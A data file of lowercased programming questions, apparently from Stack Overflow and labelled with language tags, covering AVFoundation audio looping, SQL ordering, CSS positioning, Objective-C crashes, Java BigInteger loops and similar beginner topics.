audio file with different levels of volume  i want the user to play audio  change the volume in some parts  and then save that file with the new levels of volume.    i changed the volume of an audio with avassetexportsession and avmutableaudiomixinputparameters and worked  the problem is that i need create a audio loop with this audio  so first i created this loop and then i need change the volume    here is my code   <pre><code>let type =  m4a  let documentsdirectory = filemanager.default.urls(for: .documentdirectory  in: .userdomainmask)[0].appendingpathcomponent( mixedaudio.m4a ) var backgroundurl = filemanager.default.urls(for: .documentdirectory  in: .userdomainmask)[0].appendingpathcomponent( background.m4a )  override func viewdidload() {     super.viewdidload()      playbutotn.isenabled = false      let mainurl = bundle.main.url(forresource:  prueba1   withextension: type  subdirectory:  audios )     let maindurations = avasset(url: mainurl!).duration     let secondaudiourl = bundle.main.url(forresource:  walk   withextension: type  subdirectory:  audios )     let backgroundduration = avasset(url: secondaudiourl!).duration      if maindurations &gt; backgroundduration {         var times = int(maindurations.seconds / backgroundduration.seconds)         let rem = maindurations.seconds.truncatingremainder(dividingby: backgroundduration.seconds)         if rem &gt; 0 {             times = times + 1         }          createloopaudio(times: times) {             self.createfade {                 self.createmix(mainurl: mainurl!  backgroundurl: self.backgroundurl)             }          }     }else {         backgroundurl = secondaudiourl!         createmix(mainurl: mainurl!  backgroundurl: backgroundurl)     }  }   func createmix(mainurl: url  backgroundurl: url){     let composition = avmutablecomposition()     let mainasset = avasset(url: mainurl)     let backgroundasset = avasset(url: backgroundurl)     let maindurations = avasset(url: mainurl).duration      let mainaudiotrack = composition.addmutabletrack(withmediatype: avmediatypeaudio  preferredtrackid: kcmpersistenttrackid_invalid)     let backgroundaudiotrack = composition.addmutabletrack(withmediatype: avmediatypeaudio  preferredtrackid: kcmpersistenttrackid_invalid)      let timerange = cmtimerangemake(kcmtimezero  maindurations)      do {         try mainaudiotrack.inserttimerange(timerange  of: mainasset.tracks(withmediatype: avmediatypeaudio)[0]  at: kcmtimezero)         try backgroundaudiotrack.inserttimerange(timerange  of: backgroundasset.tracks(withmediatype: avmediatypeaudio)[0]  at: kcmtimezero)     }catch {         print(error.localizeddescription)     }       let assetexport = avassetexportsession(asset: composition  presetname: avassetexportpresetpassthrough)      assetexport .outputfiletype = avfiletypempeg4     assetexport .outputurl = documentsdirectory     assetexport .shouldoptimizefornetworkuse = true       if filemanager.default.fileexists(atpath: documentsdirectory.path) {         try! filemanager.default.removeitem(atpath: documentsdirectory.path)     }      assetexport .exportasynchronously(completionhandler: {         switch assetexport!.status         {         case avassetexportsessionstatus.failed:             print( failed \(assetexport .error) )         case avassetexportsessionstatus.cancelled:             print( cancelled \(assetexport .error) )         case avassetexportsessionstatus.unknown:             print( unknown\(assetexport .error) )         case avassetexportsessionstatus.waiting:             print( waiting\(assetexport .error) )         case avassetexportsessionstatus.exporting:             print( exporting\(assetexport .error) )         case avassetexportsessionstatus.completed:             print( complete )             dispatchqueue.main.async {                 self.playbutotn.isenabled = true             }         }     })  }   func createloopaudio(times: int  completion: @escaping () -&gt; void){      let composition = avmutablecomposition()     var nexttimestartclip = kcmtimezero     for _ in 1...times {          let url = bundle.main.url(forresource:  walk   withextension: type  subdirectory:  audios )         let audioasset = avasset(url: url!)          print( tracks walk \(audioasset.tracks.count) )         let audiotrack = composition.addmutabletrack(withmediatype: avmediatypeaudio  preferredtrackid: kcmpersistenttrackid_invalid)         let timerange = cmtimerangemake(kcmtimezero  audioasset.duration)          do {             try audiotrack.inserttimerange(timerange  of: audioasset.tracks(withmediatype: avmediatypeaudio)[0]  at: nexttimestartclip)         }catch {             print(error.localizeddescription)         }            nexttimestartclip = cmtimeadd(nexttimestartclip  audioasset.duration)     }      let assetexport = avassetexportsession(asset: composition  presetname: avassetexportpresetpassthrough)      assetexport .outputfiletype = avfiletypempeg4     assetexport .outputurl = backgroundurl     assetexport .shouldoptimizefornetworkuse = true      if filemanager.default.fileexists(atpath: backgroundurl.path) {         try! filemanager.default.removeitem(atpath: backgroundurl.path)     }      assetexport .exportasynchronously(completionhandler: {         switch assetexport!.status         {         case avassetexportsessionstatus.failed:             print( failed \(assetexport .error) )         case avassetexportsessionstatus.cancelled:             print( cancelled \(assetexport .error) )         case avassetexportsessionstatus.unknown:             print( unknown\(assetexport .error) )         case avassetexportsessionstatus.waiting:             print( waiting\(assetexport .error) )         case avassetexportsessionstatus.exporting:             print( exporting\(assetexport .error) )         case avassetexportsessionstatus.completed:             print( loop complete )             completion()          }     })  }   func createfade(completion: @escaping () -&gt; void) {     let exportaudiomix = avmutableaudiomix()     let audioasset = avasset(url: backgroundurl)      let exportaudiomixinputparameters = avmutableaudiomixinputparameters(track: audioasset.tracks(withmediatype: avmediatypeaudio)[0])       let start = 2     let length = 3      exportaudiomixinputparameters.setvolume(0.0  at: cmtimemakewithseconds(float64(start - 1)  1))     exportaudiomixinputparameters.setvolume(0.1  at: cmtimemakewithseconds(float64(start)  1))     exportaudiomixinputparameters.setvolume(0.5  at: cmtimemakewithseconds(float64(start + 1)  1))     exportaudiomixinputparameters.setvolume(1.0  at: cmtimemakewithseconds(float64(start + 2)  1))      exportaudiomixinputparameters.setvolume(1.0  at: cmtimemakewithseconds(float64(start + length - 2)  1))     exportaudiomixinputparameters.setvolume(0.5  at: cmtimemakewithseconds(float64(start + length - 1)  1))     exportaudiomixinputparameters.setvolume(0.1  at: cmtimemakewithseconds(float64(start + length)  1))      exportaudiomix.inputparameters = [exportaudiomixinputparameters]       let composition = avmutablecomposition()     print( tracks loop \(audioasset.tracks.count) )      let audiotrack = composition.addmutabletrack(withmediatype: avmediatypeaudio  preferredtrackid: kcmpersistenttrackid_invalid)     let timerange = cmtimerangemake(kcmtimezero  audioasset.duration)      do {         try audiotrack.inserttimerange(timerange  of: audioasset.tracks(withmediatype: avmediatypeaudio)[0]  at: kcmtimezero)     }catch {         print(error.localizeddescription)     }        let assetexport = avassetexportsession(asset: composition  presetname: avassetexportpresetapplem4a)      assetexport .outputfiletype = avfiletypeapplem4a     assetexport .outputurl = backgroundurl     assetexport .shouldoptimizefornetworkuse = true      if filemanager.default.fileexists(atpath: backgroundurl.path) {         try! filemanager.default.removeitem(atpath: backgroundurl.path)     }      assetexport .exportasynchronously(completionhandler: {         switch assetexport!.status         {         case avassetexportsessionstatus.failed:             print( failed \(assetexport .error) )         case avassetexportsessionstatus.cancelled:             print( cancelled \(assetexport .error) )         case avassetexportsessionstatus.unknown:             print( unknown\(assetexport .error) )         case avassetexportsessionstatus.waiting:             print( waiting\(assetexport .error) )         case avassetexportsessionstatus.exporting:             print( exporting\(assetexport .error) )         case avassetexportsessionstatus.completed:             print( faded complete )             completion()          }     }) </code></pre>,ios
i want to compare names in two different tables and then equal get details  i have two different tables.i want to compare the names in two tables if both the names are equal then i want to get the details.how can i do that  please help me.    here is the code:      <pre><code>cursor cr=mdbmanager.fetchnewcustomerdata();         cursor cr1 = mdbmanager.fetchinvoicecustomerdata();         cr1.movetofirst();         //string address;         while (!(cr1.isafterlast())) {             string name = cr1.getstring(cr1.getcolumnindex( icstname ));             if(name.equals(cr.getstring(cr.getcolumnindex( cname ))))             {                  toast.maketext(this  equal  1000).show();             }             string address = cr1.getstring(cr1.getcolumnindex( caddress ));             map.put(name  address);             namealist.add(cr1.getstring(cr1.getcolumnindex( icstname )));             cr1.movetonext();         }         mdbmanager.close(); } </code></pre>,android
make div inside a  position absolute  div relative to the page  i have a footer div that is an absolute position as i need the design to strench across the page. i also have another div that displays the contents of the footer which lives inside the absolute div. however i need this div (contents) to be relative. i.e. basically when i zoom in and out of the page  it stays in a fixed position. i have something like this thus far.    <pre><code>// this is the div inside the absolute footer div  #footercontents  {     position:relative;     background-color:#6e6f72;      padding:40px;     left:20px;     right:20px; }  </code></pre>   i thought stating left and right is what i needed  but when i zoom in and out  this div moves.     thanks,css
not able to access address of pointer after converting from void to int* <pre><code>void *ptr; *(int*) ptr=12; </code></pre>   after this i do not understand why does <code>&amp;ptr</code> gives me run-time error. while <code>ptr</code> and <code>*ptr</code> of course runs fine.,c
iphone-sdk: adding image on navigation bar:  i have a navigation controller which also has a table view. i want to add an image left side of the navigation bar on top programmatically. when i tried to add by the below code in viewdidload:   <pre><code>cgrect frame = cgrectmake(0.0  0.0  94.0  33.0);     uiimageview *image = [ [uiimageview alloc]initwithimage:[uiimage imagenamed:@ topbarimage.png ] ];     image.frame = frame;     [self.view addsubview:image]; </code></pre>   but it is adding to top of the table view instead of navigation tab. i think  this image should be added as navigationitem. but i don t how to add an image on left side of navigation bar programmatically. could some one guide please      clave/,iphone
check if there is a new elemet using jquery  i have li that will be added dynamically by users  and there is a checkbox within the li. i want the text of li be the same color with the checkbox s color  the color of checkbox is random.     i tried play around but what i got is it changed all the li text color to one color..,jquery
export to pdf button click event automatically calls 3 times+itext dll+asp.net c#  i am usinng itext dll to export html to pdf. an asp button is used for exporting.pdf is generating but  the button click event is automatically calling 3 times. here is the code   <pre><code>protected void button1_click(object sender  eventargs e) {     response.contenttype =  application/pdf ;      response.addheader( content-disposition    attachment;filename=userdetails.pdf );      response.cache.setcacheability(httpcacheability.nocache);      stringwriter sw = new stringwriter();      htmltextwriter hw = new htmltextwriter(sw);      gvdetails.rendercontrol(hw);      stringreader sr = new stringreader(sw.tostring());      itextsharp.text.document pdfdoc = new itextsharp.text.document(pagesize.a4  10f  10f  100f 0.0f);      htmlworker htmlparser = new htmlworker(pdfdoc);      pdfwriter.getinstance(pdfdoc  response.outputstream);      pdfdoc.open();      htmlparser.parse(sr);      pdfdoc.close();      response.write(pdfdoc);      response.end(); } </code></pre>,asp.net
sql order by name  numbers at the end  maybe it is a very childish question. can i order the record in that way that the values which begins with a number go to the end of the record  for example these are the values in the database:   <pre><code>1 bill andrew </code></pre>   to turn in this with a query:   <pre><code>andrew bill 1 </code></pre>,sql
nested mysql-selection  a have a table with rows which consists invoice data and person data to which these belong.     something like   <pre><code>name  birthday  sex  invoice_date  invoice_amount </code></pre>   first i want to get all datasets for every unique person. so i do a select like this   <pre><code>select * from data where invoice_amount &lt; 10 group by name  birthday </code></pre>   with this i filter all duplicate entries for the same persons.    now i want to know how many of these persons are female - not all rows  but the grouped result. i mean i want to make a select from the results (i don t think of <code>where invoice_amount &lt;10 and sex = 1</code>). how do i do that     so how do i do a nested selection for that example case,mysql
converting numbers into alphabets in c++  i m trying to write a code that would convert numbers into alphabets. for example 1 will be  a   2 will be  b   3 will be  c  and so on. im thinking of writing 26 if statements. i m wondering if there s a better way to do this...    thank you!,c++
update whole table records where column have specific value  i am working on a project in which a table has lot of records. most of the rows have 0 or empty record in column. its not possible to update all manually or by writing query for each row or column.  is there efficient way by which i can replace 0 s by empty or empty by 0 s and one more things.. some columns have   0  and  0   which also have to be replaced. here is screenshot of data in screenshot to give idea.. <a href= http://prntscr.com/8rvn67  rel= nofollow >http://prntscr.com/8rvn67</a>,mysql
what unit of measure does system.windows.media.geometry.getarea() uses   i m working on a program that does most of its measurements in square inches. when i plot out my points and run the path.getarea method i get 5400000.0402331352. i know that the desired value is 5.400 (sq in).     does anyone know the unit of measure being used by <code>system.windows.media.geometry</code>  also is there any way to change this,.net
checking how much times a character occurs in a string with a recursive function  so  i have to write down a recursive function for checking how much times a character (c) occurs in a string (array) : note that the function must be recursive. to be honest this is the hardest thing i ve had to face since i started  so this is taking very long :| here is the code (language is c) :   <pre><code>#include &lt;stdio.h&gt; #include &lt;time.h&gt; #define max 5  int charoccur (char []  int);  int main() {  char array[max+1]={ a    x    c    f    r };  charoccur (array  max);  return 0; }  int charoccur (char arr[]  int dim){ int i  flag=0;      if (arr[0] ==  c ){         flag = 1;         return flag;     } else {         for (i=1; i&lt;dim; i++){             if (arr[i] ==  c ){                 flag++;                 charoccur (arr  dim);             }         } return flag;     } } </code></pre>,c
same code on multiple pages  so i have like quite a number of web pages and it s hard to change the code on every page one by on every time. i noticed like stack overflow they have the same header for each page so can someone please teach me how to do it  thank you,html
order of function calls objective-c <pre><code>- (void)sortmyarrayandsave {      nssortdescriptor *datedescriptor = [nssortdescriptor                                     sortdescriptorwithkey:@ somekeydescriptor                                      ascending:no];     nsarray *sortdescriptors = [nsarray arraywithobject:datedescriptor];     _myarray = [[_myarray                         sortedarrayusingdescriptors:sortdescriptors] mutablecopy];      [nskeyedarchiver archiverootobject:_myarray                             tofile:[self returnfilepathfortype:@ myarray ]]; } </code></pre>   can i safely assume that <code>_myarray</code> will be saved <strong><em>after</em></strong> the sort,objective-c
js get nested property of object with space in name  given this structure:   <pre><code>{        foo :{            bar :{                baz :[                   {                        foo bar : baz                        baz foo : bar                  }             ]         }     } } </code></pre>   how can i select  foo bar  from a variable such as:   <pre><code>var mystring =  baz[0][ baz foo ] ; </code></pre>   there are many examples of how to do it using dot notation:    <a href= https://stackoverflow.com/questions/6491463/accessing-nested-javascript-objects-with-string-key >accessing nested javascript objects with string key</a>    <a href= https://stackoverflow.com/questions/11922383/access-process-nested-objects-arrays-or-json >access / process (nested) objects  arrays or json</a>    <a href= https://stackoverflow.com/questions/17870272/reference-nested-javascript-object >reference nested javascript object</a>    but none of them support key with spaces in it seems.     an example <a href= http://jsfiddle.net/wmyex/88/  rel= nofollow noreferrer >js fiddle</a>,javascript
validating youtube url with channels  <a href= http://www.youtube.com/channel/uchh-akebum8_6ghgvnjd6cq  rel= nofollow >http://www.youtube.com/channel/uchh-akebum8_6ghgvnjd6cq</a>  how to validate whether the url is youtube url or not,jquery
swapping of numbers using index in java is not working <pre><code>    package dspermutation;      import java.util.scanner;      public class dspermutation {         string s;         char[] c;         int n;          public static void main(string[] args) {             dspermutation ds=new dspermutation();             ds.input();         }          private void input() {             scanner sc=new scanner(system.in);             system.out.println( enter the string );             s=sc.next();             c=s.tochararray();             n=c.length;             permutation(c n-1 0);         }          private void permutation(char[] cc int nn int ii) {             if(ii==nn)             {                system.out.println(cc);             }             else             {                 for(int j=ii;j&lt;=nn;j++)                 {                     swap(cc[ii] cc[j]);                     permutation(cc nn ii+1);                     swap(cc[ii] cc[j]);                 }             }             }          private void swap(char p  char c0) {             int x=s.indexof(p);             int y=s.indexof(c0);            /*1*/ char temp=c[x];            /*2*/c[x]=c[y];            /*3*/c[y]=temp;             /*c[x]=c0;             c[y]=p;*/                  }        } </code></pre>   the above program is for printing all permutations of a given string.the result is coming true but in swap() method if i replace line 1 2 3(written in comment) by logic written in comment(after line 1 2 3) then answer comes wrong. why could this be happening,java
how to relate one table to another in mysql (with phpmyadmin  preferably)  how do i relate one column to another column in another table  would i create a column with the same name in another table,mysql
best way to display large text in a table   <img src= https://i.stack.imgur.com/i5mln.jpg  alt= enter image description here >   <hr>   i have a table to display/edit the user details of my website. one row for each user. i have a 300-letter comment for each user. but displaying the comment out right takes too much space in a table. i probably need to use javascript to display/hide the comment. the is the best way to display the comment  it need to be editable  so probably has to be an teaxtarea tag.    note this is a design principle question rather than a technical question. i need to display the large comment section in a professional looking manner.,html
how to disable default keypad while editing textfield  i need to place <a href= http://b.imagehost.org/download/0994/keypad  rel= nofollow noreferrer >custom keypad</a>.     for that  i need to disable my default iphone keypad.    for that i use:   <pre><code>- (bool)textfieldshouldbeginediting:(uitextfield *)textfield {    return no;  } </code></pre>   if i use this the cursor isn t visible.    so  i don t find which textfield is selected.    i need functionality so that my keypad is the same as the default keypad.     can anyone help me.    thank you in advance.,iphone
searching an nsmutablearray of classes  i have my own class defined as below.   <pre><code>@interface personlist : nsobject @property(nonatomic  strong)nsnumber *id; @property(nonatomic  strong)nsstring *firstname; @property(nonatomic  strong)nsstring *secondname; @end </code></pre>   i use it like the following method:   <pre><code>personlist *p = [[personlist alloc]init]; [p setid: ...]; [p setfirstname:...]; [p setsecondname:...]; </code></pre>   then add it to an array.   <pre><code>[personlistarray addobject:p]; </code></pre>   what i m trying to do is search this array for the class where id = x.    is it the best way    <pre><code>for(int i = 0; i &lt; personlistarray.count; i++) {     personlistarray *apersonlistarray = [personlistarray objectatindex:i];     if(apersonlistarray.id == x)     {          //do what i want here          //break;     } } </code></pre>   thanks,objective-c
[ruby]: recommended learning approach  i bought  <a href= http://rads.stackoverflow.com/amzn/click/1430223634  rel= nofollow noreferrer >beginning ruby: from novice to professional - by: peter cooper</a> .    being from a .net background  i guess:    ruby is to c#  and rails is to asp.net    when compared. please correct me if i am wrong. should i learn rails along with ruby or first i need to dip my hands well in ruby  do i need knowledge of rails necessarily for developing a web application  without rails  what things can be done with ruby alone,ruby-on-rails
mysql allow user use of where but deny select  i created a user that has privileges to select the column username and the column ip. also he has rights for insert and update for column ip.     my problem is that he should be able to do the following:    [1] <code>update table set ip= localhost   where <code>key</code> =  xxxxxxxx </code>    but should be denied to do:    [2] <code>select key from table</code>    if i give him select rights for column key hey can do [2]  if i revoke the rights i get:   <pre><code>select command denied to user  username @ localhost  for column  key  in table  table  </code></pre>   is there something i can do to fix that,mysql
what else can php classes be used for   i have been playing around with how to user php classes  and as a result have built 2 classes (with help ofcourse)  to better understand how to use the classes etc.     i have a database class which makes insert/update/delete and general query to the table specified in the config array file which is loaded on my init. i also have a authentication class for register/login/logout/checksession.     although i have these really useful classes at my disposal now  i really have no clue what else to use classes for      can you give me a real life situation where you have used classes in a project that is not authentication or database classes     thanks guys,php
.dll is not a valid test extension  when automate the coded ui test from command prompt  my requriement is to automate the codeduitest (developed by using visual studio 2017)in the machine(windowsserver2012-r2 os) where i should not download the visual studio and i should not use the network connection.so  i downloaded the visual studio test agent from <a href= https://www.visualstudio.com/downloads/  rel= nofollow noreferrer >https://www.visualstudio.com/downloads/</a> in my local machine( windows7 os) and copied the files from c:\program files (x86)\microsoft visual studio\2017\testagent to my test machine.     coded uitest case execution using command prompt(mstest.exe) is working fine in my local machine     whereas same batch file is showing error  .dll file is not the valid test extension  when executed in my test machine    please help me to fix this. your direction is most appreciated.    thanks.,.net
finding the width of an nsstring as a cgfloat  i know that this has been posted already  but the solution i found   <pre><code>-(cgfloat)widthoftext{     cgrect idealframe = [self.text boundingrectwithsize:self.frame.size                                            options:nsstringdrawinguseslinefragmentorigin                                          attributes:@{ nsfontattributename:self.font }                                             context:nil];      return idealframe.size.width; } </code></pre>   self is a uilabel    isn t working.    i m trying to place a button at the end of a string so i need the width of the string to calculate the buttons absolute placement    can anybody explain why this isn t working or suggest a different method,objective-c
issue to center li elements horizontally inside ul  superfish-modified.css  i ve been trying to center horizontally the li elements inside the <code>ul</code>  but it just isn t working. i ve tried to use <code>display:inline-block</code> for the <code>li</code> and <code>text-align:center</code> for the <code>ul</code>    here is the main part of this css code:   <pre><code>  .sf-menu {   background:#000;   width: 1028px;   position:relative;   margin: 0;   padding:0;   }   .sf-menu ul {  text-align: center; /*yes  i tried to use text-align here*/  margin: 0 auto;  padding: 0px;  position:absolute;  top:-999em;  width:10em; /* left offset of submenus need to match (see below) */  z-index:99;  }   .sf-menu li {  display:inline-block; /*attempted to use inline-block as suggested*/  float:left;  position:relative;  margin:0;  padding-left:2px;  } </code></pre>   this is a picture of what i am trying to do:    <img src= https://i.stack.imgur.com/qnxck.jpg  alt= enter image description here >    this is how it looks like currently:    <img src= https://i.stack.imgur.com/omnaq.jpg  alt= enter image description here >,css
terminating app due to uncaught exception  nsrangeexception  -[__nsarrayi objectatindex:]: index 1 beyond bounds [0 .. 0]   i have this code that checks when a user is verified to to complete registration on the app:   <pre><code>-(void)handleverify:(uitapgesturerecognizer *)recognizer{     __block bool founderror = false;     uiactivityindicatorview *activityindicator = [[uiactivityindicatorview alloc]initwithactivityindicatorstyle:uiactivityindicatorviewstylewhite];     uiview *transparentview = [[uiview alloc] init];     transparentview.frame = self.view.frame;  //provide frame of right side view.     transparentview.alpha = 0.5;   //to provide transparent look and feel.     transparentview.backgroundcolor = [uicolor blackcolor];     [self.view addsubview:transparentview];      //activityindicator = [[uiactivityindicatorview alloc] initwithactivityindicatorstyle:uiactivityindicatorviewstylewhite];     activityindicator.center = cgpointmake(transparentview.frame.size.width/2  transparentview.frame.size.height/2);     [transparentview addsubview:activityindicator];     [activityindicator startanimating];      if(textfieldverifyemail.text.length &gt; 0){         labelerrorverfiyemail.hidden = yes;     }else{         founderror = true;         labelerrorverfiyemail.hidden = no;     }      if(textfieldverifynumber.text.length &gt; 0){         labelerrorverifynumber.hidden = yes;     }else{         founderror = true;         labelerrorverifynumber.hidden = no;     }      if(!founderror){         dispatch_queue_t concurrentqueue2 = dispatch_get_global_queue(dispatch_queue_priority_default  0);          // 3) load picker in background         dispatch_async(concurrentqueue2  ^{             nsstring *myrequeststring = [nsstring stringwithformat:@ email=%@&amp;ver=%@   textfieldverifyemail.text textfieldverifynumber.text];              nsstring *response = [self setupphpcall:myrequeststring :@ checkuserverification.php ];             dispatch_async(dispatch_get_main_queue()  ^{                 if(response.length &gt; 0){                     nsarray *items = [response componentsseparatedbystring:@ |~| ];                     nsstring *ver =[items objectatindex:0];                     nsstring *iduser =[items objectatindex:1];                     if([ver isequaltostring:@ verified ]){                         textfieldverifynumber.text = @  ;                         textfieldverifyemail.text = @  ;                         [activityindicator stopanimating];                         [transparentview removefromsuperview];                         [activityindicator removefromsuperview];                         uialertview *alert = [[uialertview alloc] initwithtitle:@ registered  message:@ you are now registered  delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil   nil  nil];                         [alert show];                          userid = [iduser intvalue];                         [viewcreds removefromsuperview];                         [viewcredsregister removefromsuperview];                         [viewcredssignin removefromsuperview];                         [viewcredsverify removefromsuperview];                          [self setupheader];                         [self setupnavigation];                         [self setupfooter];                         [self setupfooternavigation];                         [self switchview:7];                         [self switchview:1];                     }else{                         [activityindicator stopanimating];                         [transparentview removefromsuperview];                         [activityindicator removefromsuperview];                          uialertview *alert = [[uialertview alloc] initwithtitle:@ verification invalid  message:@ our records show that the verification number is incorrect  please try again or contact support@hugt.co.uk  delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil   nil  nil];                         [alert show];                     }                 }else{                     [activityindicator stopanimating];                     [transparentview removefromsuperview];                     [activityindicator removefromsuperview];                      uialertview *alert = [[uialertview alloc] initwithtitle:@ server error  message:@ server not responding  please try back later...  delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil   nil  nil];                     [alert show];                 }             });         });     }else{         [activityindicator stopanimating];         [transparentview removefromsuperview];         [activityindicator removefromsuperview];     } } </code></pre>   but i get this error as soon as i click the verify button:   <pre class= lang-none prettyprint-override ><code>[1649:65950] *** terminating app due to uncaught exception  nsrangeexception   reason:  *** -[__nsarrayi objectatindex:]: index 1 beyond bounds [0 .. 0]  *** first throw call stack: (     0   corefoundation                      0x00e2c746 __exceptionpreprocess + 182     1   libobjc.a.dylib                     0x006a2a97 objc_exception_throw + 44     2   corefoundation                      0x00d0dcb2 -[__nsarrayi objectatindex:] + 210     3   instantforum                        0x000944ab __31-[viewcontroller handleverify:]_block_invoke_2 + 203     4   libdispatch.dylib                   0x052fc5ea _dispatch_call_block_and_release + 15     5   libdispatch.dylib                   0x0531ebef _dispatch_client_callout + 14     6   libdispatch.dylib                   0x053046bb _dispatch_main_queue_callback_4cf + 993     7   corefoundation                      0x00d858ee __cfrunloop_is_servicing_the_main_dispatch_queue__ + 14     8   corefoundation                      0x00d435f0 __cfrunlooprun + 2256     9   corefoundation                      0x00d42a5b cfrunlooprunspecific + 443     10  corefoundation                      0x00d4288b cfrunloopruninmode + 123     11  graphicsservices                    0x047682c9 gseventrunmodal + 192     12  graphicsservices                    0x04768106 gseventrun + 104     13  uikit                               0x013ff0b6 uiapplicationmain + 1526     14  instantforum                        0x00112e9a main + 138     15  libdyld.dylib                       0x05349ac9 start + 1 ) libc++abi.dylib: terminating with uncaught exception of type nsexception (recorded frame)  </code></pre>   the error occurs on this line of code:   <blockquote> <pre><code>dispatch_async(dispatch_get_main_queue()  ^{ </code></pre> </blockquote>,objective-c
using bigintegers as a condition in while loop in java  i want to use a big integer value in my while loop condition but this is not working.   <pre><code>import java.util.scanner; import java.util.stringtokenizer; public class niceprobelm2 { public static void main(string[]args){     scanner input = new scanner(system.in);     string number = input.nextline();     stringtokenizer st = new stringtokenizer(number);     biginteger base = null;     int power=0;     while (st.hasmoretokens()) {           string token1 = st.nexttoken();           string token2 = st.nexttoken();           base = new biginteger(token1);           power = integer.parseint(token2);           }          biginteger result = base.pow(power);         //long fresult = (long)result;         biginteger div = new biginteger( 10 );         system.out.println(result);         biginteger sum=null;      //not working while(result.compareto(new biginteger( 0 )) &gt; 10 )                     {         biginteger digit = result.mod(div);         result = result.divide(div);         sum = sum.add(digit);      }      system.out.println(sum); } </code></pre>   },java
i havesecurityexception: permission denial error  i am getting the following error:   <pre><code>activitymanager: java.lang.securityexception: permission denial: starting intent { act=android.intent.action.main cat=[android.intent.category.launcher] flg=0x10000000 cmp=com.optionpricing/.optionlistnew } from null (pid=1160  uid=2000) requires null </code></pre>   i am new to programming in android and i could not make sense of the other postings related to my problem.  i wonder if there is an issue with the optionlistnew class  can someone lend a hand so i can move on to completing my app.  also  the app runs in my virtual device  and i only get this error when i try to test it on my actual phone. any ideas are appreciated.  below is the manifest file.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest android:versioncode= 1  android:versionname= 1.0      package= com.optionpricing  xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;uses-sdk android:minsdkversion= 8 /&gt;     &lt;application android:icon= @drawable/icon                   android:label= @string/app_name                   android:debuggable= true &gt;         &lt;activity android:name= .optionlistnew &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main /&gt;                 &lt;category android:name= android.intent.category.launcher /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity android:name= .optionpricing /&gt;         &lt;activity android:name= .optionlistnew /&gt;         &lt;activity android:name= .futureoptionactivity /&gt;         &lt;activity android:name= .currencyoptionactivity /&gt;         &lt;activity android:name= .gapoptionactivity /&gt;         &lt;activity android:name= .gapoptionlist01 /&gt;         &lt;activity android:name= .barriersingleupinactivity /&gt;         &lt;activity android:name= .testactivity /&gt;         &lt;activity android:name= .barrierlistview /&gt;         &lt;activity android:name= .barriersingledowninactivity /&gt;     &lt;/application&gt; &lt;/manifest&gt; </code></pre>,android
.net 3.5 client profile also has .net framework 2.0   is this assumption correct that if a machine has .net framework 3.5 client profile it will also have .net framework 2.0   given that 3.5 is incrementally built on 2.0,.net
how to implement ease bounceout (elastic) functionality in iphone  i want to implement a bounce out easing function in my application.    something similar to elastic out.    like as in the following link <a href= http://www.powerping.be/js/jstween/movesquare.html  rel= nofollow noreferrer >http://www.powerping.be/js/jstween/movesquare.html</a>    i want to implement something like that.,iphone
how do i parse an unusual date string  hello i have an unusual date format that i would like to parse into a datetime object   <pre><code>string date = 20101121 ;  // 2010-11-21 string time = 13:11:41:  //hh:mm:ss </code></pre>   i would like to use <code>datetime.tryparse()</code> but i cant seem to get started on this.    thanks for any help.,c#
image aspect ratio inside absolutely positioned div  this ll probably be one of the easier questions  but i just cannot seem to find the answer.    i ve got the following setup:    <pre><code>.wrapper {   position: absolute;   top: 5%;   bottom: 5%;   left: 50%;   transform: translatex( -50%); }  img.content {   height: 100%;   width: auto; } </code></pre>   the image s width doesn t seem to change when shrinking the height of the window.    here s a quick jsfiddle to demonstrate the issue. adjusting the height of the window either skews or offsets the image  instead of adjusting the width accordingly.<br> <a href= https://jsfiddle.net/5p82ey8k/  rel= nofollow >https://jsfiddle.net/5p82ey8k/</a>    cheers,css
add to integer variable from rails controller  this should be a fairly simple error to fix (i hope).  when a <code>joke</code> on my app is approved  i want that <code>user</code> to be awarded 5 <code>manpoints</code> (don t ask).  i currently have this in my  jokes_controller`:   <pre><code>  def approve     @joke = joke.find(params[:id])     @joke.update_attributes(approved: true)     if @joke.user.manpoints = nil       @joke.user.manpoints = 5     else       @joke.user.manpoints += 5     end     @joke.save     redirect_to jokes_path   end </code></pre>   i m getting this error when i try to approve a joke:   <pre><code>undefined method `+  for nil:nilclass </code></pre>   i thought += was the  ruby way  to do this   can anyone set me straight,ruby-on-rails
page width overflows although no elements are outside its width  the page element as seen  ends exactly where the browser scroll-bar starts but a horizontal scroll bar is present.    page with the problem: <a href= http://www.ivault.sg/shop/power  rel= nofollow >http://www.ivault.sg/shop/power</a>,css
return class object from a class function   i have 3 files:    main.php (all the site code) accounthandler.class.php (handles login/logout/get acc details) user.class.php (plain object  getters and setters for generic user traits)    in the  login  function in accounthandler  it checks the password is correct and then returns the details on file for the account. i wish to then instantiate a  user  object and fill it with these details  returning said object from the function.    however  on the other end  in main.php where the function was originally called i need to be able to recognise the  user  object and access the values.    how can i include the user class file in both the accounthandler class and the main.php such that they can both use the  user  class     does any of that make sense    <pre><code>class user {  private $email; private $username; private $role;  public function __construct($email  $username  $role) {     $this-&gt;setusername($username);     $this-&gt;setemail($email);     $this-&gt;setrole($role); }  public function getemail(){     return $this-&gt;email; }  public function setemail($email){     $this-&gt;email = $email; }  public function getusername(){     return $this-&gt;username; }  public function setusername($username){     $this-&gt;username = $username; }  public function getrole(){     return $this-&gt;role; }  public function setrole($role){     $this-&gt;role = $role; }   } </code></pre>,php
what is wrong with the last line of code here   am trying to set up a view hierarchy in the viewdidload method  and am getting a problem with the last line.        <pre><code>uiview *catview = [[uiview alloc] init];   uiimage *image = [uiimage imagenamed:@ lolcat.png ]; uiimageview *imageview = [[uiimageview alloc]initwithimage:image]; [self.view addsubview:imageview]; </code></pre>,ios
multiple macs for ios development  relativly newb here so be easy please...    i have an imac  a mbp and a new mac mini with the provisioning profiles on all devices. what i am looking for is information on if there is an automatic way to save my current code changes that were made on the imac so that when i use the mbp off site i can use the lateset code without having to copy everything to a usb stick and physically transfer it  dropbox works ok but it is not automatic.,ios
